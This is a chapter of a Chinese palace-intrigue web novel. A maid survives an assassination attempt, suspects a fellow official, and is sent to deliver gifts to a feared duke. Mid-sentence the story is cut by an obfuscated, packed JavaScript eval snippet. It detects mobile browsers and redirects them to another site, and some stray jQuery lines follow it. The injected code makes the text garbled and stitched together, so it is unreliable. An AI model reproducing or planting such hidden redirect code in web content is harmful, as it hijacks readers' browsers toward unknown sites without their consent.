杜书音满脸泪痕,“奴婢今日和张掌史出宫,张掌史说要买的东西没多少,便和奴婢分头行动。谁知道,”她这才发觉张思雁也站在殿中,转头看向她,激动得双手颤抖,“谁知道奴婢刚找到一处茶坊坐下,便有一名壮汉提刀进来,专门找穿着绿衣的女子。”
皇后此时也注意到杜书音身上衣服的颜色,眉眼一压,神色凝重起来。
杜书音跪在殿中还在补充,“奴婢本以为是巧合,谁知道那名壮汉就是来寻奴婢的。他们知道奴婢的名字,又见奴婢逃跑,提刀就要杀奴婢。”
“那你是如何进了皇宫的?”站在旁边一直没说话的张思雁这才开口问道。
杜书音浑身还在颤抖,双臂不由自主地发颤,她转眸看向张思雁,嘴唇发抖道:“是卫阁的薛大人将那名要杀奴婢的壮汉抓了起来,奴婢这才有命回到这里。”她眼神变得有些怪异,语气却可怜兮兮,“谁知道张掌史已经先一步进宫了,不是说好我们在皇城门口汇合的吗?”
张思雁闻言皱眉往旁边一走,身体一侧,背对着杜书音,解释道:“我在城门口等你许久,见你迟迟不来,还以为你是趁着这次机会跑了呢!”她语气愤怒,半点不容人辩解。
杜书音一脸可怜,她垂下头,喃喃道:“原来是这样。”而后,她突然抬头看向皇后,有些神经质一般,喊道:“娘娘,奴婢以后都不出宫了,外面真是太危险了。这次出去险些要命,以后指不定还会发生别的事情呢。”
这话就是为了提防日后宁国公回京找自己的麻烦,不出宫才能更好的保护自己。
皇后坐于上方幽幽地叹了口气,“采买的事情本来就与你无关。只是日后不想出宫,恐怕有些麻烦,毕竟你替吾做事,以后或许少不了要你出宫亲自安排。不过,你放心,为了你的安全着想,吾会命人跟在你身后,保护你的。”
既然想要的得不到,退而求其次也不是不行。
杜书音重重叩首,“谢娘娘!”
“快回去换身干净的衣服吧。”皇后叮嘱道。
“是。”杜书音起身抬头,目光似有若无地与张思雁对上,张思雁缓缓扬起一个笑容,杜书音也微微一笑,转身走了出去。
往日竟没有看出来,张思雁也对自己有敌意,究竟是哪里出了问题?
杜书音静静地往屋中走,抬脚踏入门槛,屋内的人听到动静都猜到是杜书音回来了,寻常道:“你回来了?”
林云往门口一瞥,霎时间怔在原地,手中的木梳掉落在床榻上,并没有发出声音。
“你!你怎么了?”林云惊讶得连姐姐都顾不上喊了,伸手指着杜书音的脑袋,一步一步朝门口走去。
她看着杜书音脸上蓬乱的头发和身上沾染的尘污,上前一把抓过杜书音的手。她先是细细看了杜书音双手的情况,又带着杜书音左右晃动起来,左摸右看检查杜书音身上是否有其他伤痕。
杜书音双手一摊,十分坦荡地站在门口,“我没事,一点伤都没有。”
“那你怎么弄成这个样子?”张梦闻声凑了过来,她也见到杜书音一副叫花子的模样,她像是被杜书音身上不存在的臭味熏到了,又往后退了数步,与杜书音拉开距离。
“哦!”杜书音抬脚往自己的柜子走去,边走边解释道:“我今日出宫,被几名壮汉追着砍,好在我机敏,连番躲了几下,这才等到卫阁的人过来将他们抓住。”
“那些人为什么要抓你?姐姐你要出宫的事情不是你一时兴起的吗?”林云问道。
显然林云也觉察到了这件事其中的关键。
杜书音拿出一套衣服,满意地笑了笑,她随意道:“许是认错了人,那些人好像在找穿着绿衣服的姑娘,估计是把我弄混了吧。”
林云平日看着爱笑,可一到关键时候总能抓到事情当中的关键点。背后之人已经被杜书音找到了,她没有必要什么都说出来,容易打草惊蛇。
身后的张梦听了这话,十分有感悟,她摸着下巴,口出惊人道:“这样一看,我这次没有出宫看来还是好事了?要不是杜女史出宫替我挡了这一劫,恐怕我都没有机会活着见到卫阁的人赶到。”
这话说得杜书音眉头不停地跳,她伸手按住眉头,低头叹气。算了,反正如果是她,那些壮汉也不会找上她。
时间就这样过了几日,一切如常,宫外那件要命的事情仿佛被杜书音遗忘了。
一日,在无人在意的角落,杜书音抬眼盯着张思雁看,她也是一如往日,并没有其他特别的举动。若是没有经过宫外那件刺杀的事,杜书音实在想不到张思雁会要她性命的人。
如果有人凭空过来对她说张思雁是她的敌人,她想要杜书音的性命,那杜书音一定会把这人赶走,因为觉得那人是在胡说八道。
张思雁的心思竟然隐藏得那么深。
杜书音见站在台阶上的张思雁忽然有转身之状,她立即垂下眼睫,抬脚往前面继续走。
张思雁想到了什么,手里端着茶盏,走到杜书音的身旁,道:“娘娘要见你,快进去吧。”
杜书音颔首,跟在张掌史身后。
两人一同进了屋,张思雁将茶盏放到皇后身旁,提醒道:“娘娘,杜书音来了。”
皇后的目光还停留在棋盘上,微微偏头对她道:“你先下去。”
殿中并无其他人,张思雁出去后顺势带上了门,这些动作一气呵成,根本没有半点露出破绽的地方。
杜书音盯着紧闭的房门,甚至开始有些怀疑自己,难道张思雁那日进宫早只是不想等自己。可是当日,自己进殿的时候,张思雁必定是在和皇后禀报自己逃出宫的事情。
“吾叫你过来,不是让你站在那里的。”皇后从棋盘上抬头,看向杜书音,她目光灼灼,又像是在审视杜书音。
杜书音回神,扫了皇后一眼,立即上前,低头恭敬道:“娘娘有什么吩咐?”
皇后扫了一眼面前的棋盘,顿时感到乏味,她伸手将棋盘上的黑白棋子搅乱,问:“你知道宁国公已经到京城了吗?”
杜书音脸上的惊慌转瞬即逝,她答:“奴婢不知。”
这几日,风平浪静,看着就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019037|187145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最寻常平安的日子,原来是暴风雨来的前兆吗。
皇后轻笑一声,“他现在就在紫宸殿,被陛下亲自接见。”她又抬头观察杜书音的脸色来,见她迟迟没有说话,也不再等下去,直接道:“他是替陛下戍边,又有拥力之功,陛下和吾都要给他几分薄面。他对陛下直言,要你去送陛下和吾的赏赐。你现在作何感想?”
杜书音面上努力维持的和平产生了一丝裂缝,她抬头看向皇后,双手止不住地发抖,“奴婢能不去吗?”
皇后看着她的目光从审视渐渐转变为怜惜,她转移目光,轻轻叹了一口气,“陛下已经同意他的请求了,吾也不好驳了陛下的脸面。”
皇后见杜书音脸色铁青,安抚道:“你放心,你是代替吾出宫给宁国公赏赐,他就算有天大的功劳也不敢对你怎么样。你只需送了东西立即回来便可。”
陛下答允,若是不从,恐怕只能一死。
杜书音认命,语气蔫蔫道:“是,奴婢知道了。”
“你现在就去。”皇后道。
“现在?”杜书音惊讶。
“他在紫宸殿见到陛下后,陛下必会赐他晚间在府中举办接风宴,那时宴上人多,想来宁国公府的人也不敢把你怎么样。”皇后道。
“东西,吾已经准备好了,你只需要将它们送到国公府即可。”皇后看向殿中一处位置。
杜书音顺着皇后的目光看到蓬莱殿空地上竟然摆着几箱的东西,箱子合上,里面究竟是什么,不得而知。
杜书音叫人将东西搬到马车上,见所有的东西都摆放好位置后,抬脚进了马车。
车帘放下,车内一片昏暗,车外静悄悄,只有车轮碾压石板路的声音。天色渐暗,杜书音拿起车内的火折子将桌上的蜡烛点燃,微弱的灯光照得杜书音侧脸微微发亮。
不知怎的,她忽然想起了易记明。上次坐他的马车,好像与这辆马车也是差不多的布置。不过想想也是,他是娘娘的义子,自然所用之物都和娘娘相似。
马车摇摇晃晃,出宫的路很长。她只在出宫门的时候露过一次脸和腰牌,让值守的禁军开门。
现在想想,仅凭坊间传言,是不可能撼动宁国公和陛下之间的情义和关系的。一定要有实质性的东西产生,才能让他们两人其中一个人怀疑另一人。
她忽然想起了宁国公的女儿,贤妃和秦秀宁。若是她们二人中,其中一人死了,那宁国公必定会责怪陛下没有保护好她们,就算他不说,心里也会种下一颗埋怨的种子。
这两人之中,必定贤妃更容易得手,只是,想到这里,杜书音有些犹豫了……
杀掉贤妃吗?
以往的一切,好像都是别人对自己动手,自己反击。现在这个念头好像是自己为了想要的东西,去杀掉一个无辜之人一般。
虽然过去种种对杜书音来说,她好像并不是十分无辜。就像有一种异样的膜在杜书音心中隔开,让她做不出直接伤害别人的事情来。
一向晃动的马车停了下来,宫女的声音在马车外响起,“杜女史,到了。”